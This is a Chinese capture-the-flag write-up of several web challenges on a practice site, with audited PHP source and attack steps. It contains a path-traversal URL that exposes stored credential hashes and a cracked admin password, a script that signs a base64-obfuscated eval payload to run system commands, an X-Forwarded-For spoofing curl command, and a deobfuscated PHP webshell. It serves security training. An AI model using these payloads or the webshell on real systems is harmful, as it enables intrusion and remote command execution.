hackme.inndy.tw的19道web题解(下)

快,关注这个公众号,一起涨姿势~

本文作者:一叶飘零

感谢一叶飘零来稿,本文稿费150元。持续小广告:各位大佬有安全方面新的创作都可以向小编砸过来,将文章以Word形式发送至邮箱minwei.wang@dbappsecurity.com.cn。

目录

写在前面

......

dafuq-manager 1

dafuq-manager 2.

dafuq-manager 3.

wordpress 1.

webshell

写在前面

最近发现了一个比较有趣的ctf-oj,给出链接

https://hackme.inndy.tw/

里面有不少web题,我这里

因为依照出题人的要求:

本次文章不会直接给出flag,但是会有详细的分析和攻击脚本

0x15 dafuq-manager 1

将cookie中的show_hidden改为yes即可

0x16 dafuq-manager 2

典型的代码审计题目,题目要求我们以管理员身份登入即可获得flag

审计代码,首先从入口index.php开始

php

case "admin":

require "./core/fun_admin.php";

show_admin($GLOBALS["dir"]);

break;

跟进这里的show_admin

php

function show_admin($dir) {

$pwd = (($GLOBALS["permissions"] & 2) == 2);

$admin = (($GLOBALS["permissions"] & 4) == 4);

if (!$GLOBALS["require_login"]) show_error($GLOBALS["error_msg"]["miscnofunc"]);

if (isset($GLOBALS['__GET']["action2"])) $action2 = $GLOBALS['__GET']["action2"];

elseif (isset($GLOBALS['__POST']["action2"])) $action2 = $GLOBALS['__POST']["action2"];

else $action2 = "";

switch ($action2) {

case "chpwd":

if (!$pwd) show_error($GLOBALS["error_msg"]["accessfunc"]);

changepwd($dir);

break;

case "adduser":

if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);

adduser($dir);

break;

case "edituser":

if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);

edituser($dir);

break;

case "rmuser":

if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);

removeuser($dir);

break;

default:

if (!$pwd && !$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);

admin($admin, $dir);

}

}

想成为admin必须满足

$pwd = (($GLOBALS["permissions"] & 2) == 2);

$admin = (($GLOBALS["permissions"] & 4) == 4);

于是我们搜索$GLOBALS["permissions"]的赋值

在/core/fun_users.php里发现

php

function activate_user($user, $pass) {

$data = find_user($user, $pass);

if ($data == NULL) return false;

$GLOBALS['__SESSION']["s_user"] = $data[0];

$GLOBALS['__SESSION']["s_pass"] = $data[1];

$GLOBALS["home_dir"] = $data[2];

$GLOBALS["home_url"] = $data[3];

$GLOBALS["show_hidden"] = $data[4];

$GLOBALS["no_access"] = $data[5];

$GLOBALS["permissions"] = $data[6];

return true;

}

可以发现赋值来源于$data[6]

而$data = find_user($user, $pass)

所以我们跟进find_user()函数

还是在这个文件中

php

function &find_user($user, $pass) {

$cnt = count($GLOBALS["users"]);

for ($i = 0;$i < $cnt;++$i) {

if ($user == $GLOBALS["users"][$i][0]) {

if ($pass == NULL ($pass == $GLOBALS["users"][$i][1] && $GLOBALS["users"][$i][7])) {

return $GLOBALS["users"][$i];

}

}

}

return NULL;

}

可以发现来源于$GLOBALS["users"]

我们找到这个变量的赋值

可以在/.config/.htusers.php中发现

php

$GLOBALS["users"] = array(

array("guest", "084e0343a0486ff05530df6c705c8bb4", "./data/guest", "https://game1.security.ntu.st/data/guest", 0, "^.ht", 1, 1),

);

然而源码泄露中,这个文件中只给出了guest的值,所以我们下面要做的是去读文件,得到admin的密码

首先查找读文件的函数:

在/core/fun_down.php可以发现一处readfile()

php

function download_item($dir, $item) {

$item = basename($item);

if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);

if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);

if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);

$abs_item = get_abs_item($dir, $item);

if (!file_in_web($abs_item) stristr($abs_item, '.php') stristr($abs_item, 'config')) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);

$browser = id_browser();

header('Content-Type: ' . (($browser == 'IE' $browser == 'OPERA') ? 'application/octetstream' : 'application/octet-stream'));

header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT');

header('Content-Transfer-Encoding: binary');

header('Content-Length: ' . filesize($abs_item));

if ($browser == 'IE') {

header('Content-Disposition: attachment; filename="' . $item . '"');

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');

header('Pragma: public');

} else {

header('Content-Disposition: attachment; filename="' . $item . '"');

header('Cache-Control: no-cache, must-revalidate');

header('Pragma: no-cache');

}

@readfile($abs_item);

exit;

}

我们看一下处理

关键行

php

if (!file_in_web($abs_item) stristr($abs_item, '.php') stristr($abs_item, 'config')) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);

这里对文件进行过滤,而我们要读的路径正是/.config/.htusers.php

所以这里的下载文件功能无法完成我们的目的

接着寻找

在/core/fun_edit.php中发现端倪

php

function edit_file($dir, $item) {

if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);

if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);

if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);

$fname = get_abs_item($dir, $item);

if (!file_in_web($fname)) show_error($GLOBALS["error_msg"]["accessfile"]);

if (isset($GLOBALS['__POST']["dosave"]) && $GLOBALS['__POST']["dosave"] == "yes") {

$item = basename(stripslashes($GLOBALS['__POST']["fname"]));

$fname2 = get_abs_item($dir, $item);

if (!isset($item) $item == "") show_error($GLOBALS["error_msg"]["miscnoname"]);

if ($fname != $fname2 && @file_exists($fname2)) show_error($item . ": " . $GLOBALS["error_msg"]["itemdoesexist"]);

savefile($dir, $fname2);

$fname = $fname2;

}

$fp = @fopen($fname, "r");

if ($fp === false) show_error($item . ": " . $GLOBALS["error_msg"]["openfile"]);

$s_item = get_rel_item($dir, $item);

if (strlen($s_item) > 50) $s_item = "..." . substr($s_item, -47);

show_header($GLOBALS["messages"]["actedit"] . ": /" . $s_item); ?>

我们逐句分析:

第一个判断:

php

if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);

我们guest的$GLOBALS["permissions"]是1,显然满足

第二个判断

php

if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);

仅仅检测路径文件是否存在,这里不是安全防护,所以暂不用看

第三个判断

php

if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);

我们跟进get_show_item()

php

function get_show_item($dir, $item) {

if ($item == "." $item == "..") return false;

if ($_COOKIE['help'] == 'me') {

$_COOKIE['help'] = null;

setcookie('help', '', time() - 9999999999);

echo '';

}

if (empty($_COOKIE['show_hidden'])) {

setcookie('show_hidden', 'no', time() + 3600);

}

if (substr($item, 0, 1) == "." && $GLOBALS["show_hidden"] == false && $_COOKIE['show_hidden'] != 'yes') return false;

if ($GLOBALS["no_access"] != "" && @eregi($GLOBALS["no_access"], $item)) return false;

if ($GLOBALS["show_hidden"] == false) {

$dirs = explode("/", $dir);

foreach ($dirs as $i) if (substr($i, 0, 1) == ".") return false;

}

return true;

}

发现这里的防御十分不严谨,对$item的变量防护仅仅停留在

php

if ($item == "." $item == "..") return false;

if (substr($item, 0, 1) == "." && $GLOBALS["show_hidden"] == false && $_COOKIE['show_hidden'] != 'yes') return false;

这样的绕过十分容易

构造:

item = /../../../../../etc/passwd

即可造成目录穿越读取任意文件

我们尝试:

https://dafuq-manager.hackme.inndy.tw/index.php?action=edit&item=

/../../../../../../var/www/webhdisk/.config/.htusers.php

发现文件读取成功

$GLOBALS["users"] = array(

array("adm1n15trat0r", "34af0d074b17f44d1bb939765b02776f", "./data", "https://dafuq-manager.hackme.inndy.tw/data", 1, "^.ht", 7, 1),

array("inndy", "fc5e038d38a57032085441e7fe7010b0", "./data/inndy", "https://dafuq-manager.hackme.inndy.tw/data/inndy", 0, "^.ht", 1, 1),

array("guest", "084e0343a0486ff05530df6c705c8bb4", "./data/guest", "https://dafuq-manager.hackme.inndy.tw/data/guest", 0, "^.ht", 1, 1),

);

此时我们拿到了管理员密码的md5,解md5

34af0d074b17f44d1bb939765b02776f

how do you turn this on

随即登录

adm1n15trat0r

how do you turn this on

即可拿到flag

0x17 dafuq-manager 3

这一问是让我们找到网站的命令执行问题,拿到shell

我们审计代码,在/core/fun_debug.php发现了问题

关键函数

php

function do_debug() {

assert(strlen($GLOBALS['secret_key']) > 40);

$dir = $GLOBALS['__GET']['dir'];

if (strcmp($dir, "magically") strcmp($dir, "hacker") strcmp($dir, "admin")) {

show_error('You are not hacky enough :(');

}

list($cmd, $hmac) = explode('.', $GLOBALS['__GET']['command'], 2);

$cmd = base64_decode($cmd);

$bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',);

foreach ($bad_things as $bad) {

if (stristr($cmd, $bad)) {

die('2bad');

}

}

if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) {

die(eval($cmd));

} else {

show_error('What does the fox say?');

}

}

我们逐个分析

这里需要我们绕过

php

if (strcmp($dir, "magically") strcmp($dir, "hacker") strcmp($dir, "admin")) {

show_error('You are not hacky enough :(');

}

而我们知道strcmp的黑魔法,可以用数组绕过,例如dir[]=1

然后是cmd参数,需要我们的base64的命令,并且和hmac消息验证码拼接

这里代码中给出了生成的函数

php

function make_command($cmd) {

$hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]);

return sprintf('%s.%s', base64_encode($cmd), $hmac);

}

我们直接调用即可

然后关注到黑名单过滤

php

$bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',);

这里虽然存在一些过滤,但是我们可以用base64编码绕过

所以我的攻击脚本如下

php

function make_command($cmd) {

$hmac = hash_hmac('sha256', $cmd, 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3');

return sprintf('%s.%s', base64_encode($cmd), $hmac);

}

echo make_command('$a=\'ass\';$b=\'ert\';$c=$a.$b;$c(base64_decode(\'c3lzdGVtKCcuL2ZsYWczL21lb3cgLi9mbGFnMy9mbGFnMycp\'));');

?>

这里容易探测到flag存在于当前目录的flag3文件夹下,但是直接读取无法读到

必须要用系统命令执行他这个文件夹下的c文件,而用这个base64绕过方法刚好可以轻松绕过,执行系统命令

0x18 wordpress 1

在web-security-course-game2\wordpress\wp-content\plugins\core.php

发现问题

php

function print_f14g()

{

$h = 'm'.sprintf('%s%d','d',-4+9e0);

if($h($_GET['passw0rd']) === '5ada11fd9c69c78ea65c832dd7f9bbde') {

if(wp_get_user_ip() === '127.0.0.1') {

eval(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $h($_GET['passw0rd'].AUTH_KEY), base64_decode('zEFnGVANrtEUTMLVyBusu4pqpHjqhn3X+cCtepGKg89VgIi6KugA+hITeeKIpnQIQM8UZbUkRpuCe/d8Rf5HFQJSawpeHoUg5NtcGam0eeTw+1bnFPT3dcPNB8IekPBDyXTyV44s3yaYMUAXZWthWHEVDFfKSjfTpPmQkB8fp6Go/qytRtiP3LyYmofhOOOV8APh0Pv34VPjCtxcJUpqIw=='), MCRYPT_MODE_CBC, $h($_GET['passw0rd'].AUTH_SALT)));

} else {

die('Sorry, Only admin from localhost can get flag');

}

}

}

add_action('wp_head', 'print_f14g');

于是构造

https://wp.hackme.inndy.tw/?passw0rd=cat%20flag

访问发现

Sorry, Only admin from localhost can get flag

跟一下限制wp_get_user_ip()

发现

php

function wp_get_user_ip() {

$ip = $_SERVER['REMOTE_ADDR'];

if (!empty($_SERVER['HTTP_CLIENT_IP'])) {

$ip = $_SERVER['HTTP_CLIENT_IP'];

} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {

$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];

}

return $ip;

}

可以用xff绕过,所以得到payload

curl -H "X-Forwarded-For=127.0.0.1" 'https://wp.hackme.inndy.tw/?passw0rd=cat flag'grep flag

运行即可拿到flag

0x019 webshell

查看源代码发现可疑代码

php

$e_obfus="b\x41Se\x364\x5f\x44e\x43ode";

$e_cod = "g\x5ainfl\x41t\x45" ; $sourc =

"St\x72\x72\x45v"; @eval ($sourc($e_cod(

$e_obfus($cation("KMSqn8VjTVKi9lgrcMtH3V

qwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmS

H4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3I

qTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsM

nk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx

/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gx

cLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltX

sF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00

TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYe

A8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHi

STW8OO9t13k2/7r+He8BfU")))));

解第一层得到:

php

@eval (StrrEv(gZinflAtE(

bASe64_DeCode(Str_rOt13("KMSqn8VjTVKi9lgrcMtH3V

qwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmS

H4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3I

qTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsM

nk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx

/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gx

cLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltX

sF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00

TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYe

A8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHi

STW8OO9t13k2/7r+He8BfU")))));

发现是gZinflAtE(bASe64_DeCode(''))形式的后门,这里直接输出

php

echo (StrrEv(gZinflAtE(

bASe64_DeCode(Str_rOt13("KMSqn8VjTVKi9lgrcMtH3V

qwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmS

H4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3I

qTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsM

nk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx

/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gx

cLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltX

sF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00

TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYe

A8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHi

STW8OO9t13k2/7r+He8BfU")))));

把eval换成echo即可

可以得到解密后文件

php

function run()

{

if (isset($_GET['cmd']) && isset($_GET['sig'])) {

$cmd = hash('SHA512', $_SERVER['REMOTE_ADDR']) ^ (string) $_GET['cmd'];

$key = $_SERVER['HTTP_USER_AGENT'] . sha1($_SERVER['HTTP_HOST']);

$sig = hash_hmac('SHA512', $cmd, $key);

if ($sig === (string) $_GET['sig']) {

header('Content-Type: text/plain');

return !!system($cmd);

}

}

return false;

}

function fuck()

{

print str_repeat("\n", 4096);

readfile($_SERVER['SCRIPT_FILENAME']);

}

run() ?: fuck();

很简单,想要执行命令就要绕过

$sig === (string) $_GET['sig']

而这个的生成也非常容易,我们在服务器上放脚本

然后用这个脚本生成payload即可

最后题目的flag用了隐藏文件,ls -al即可看见

total 32

drwxr-xr-x 2 root root 4096 Jan 19 07:30 .

drwxr-xr-x 6 root root 4096 Jan 19 07:30 ..

-rw-r--r-- 1 root root 40 Jan 11 19:33 .htflag

-rw-r--r-- 1 root root 13 Jan 11 19:28 flag

-rw-r--r-- 1 root root 612 Jan 19 07:23 index.nginx-debian.html

-rw-r--r-- 1 root root 603 Jan 19 07:30 index.php

-rw-r--r-- 1 root root 72 Jan 11 19:46 ip.php

-rw-r--r-- 1 root root 48 Jan 19 07:22 robots.txt

真的flag藏在了.htflag

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180201G0YHSD00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励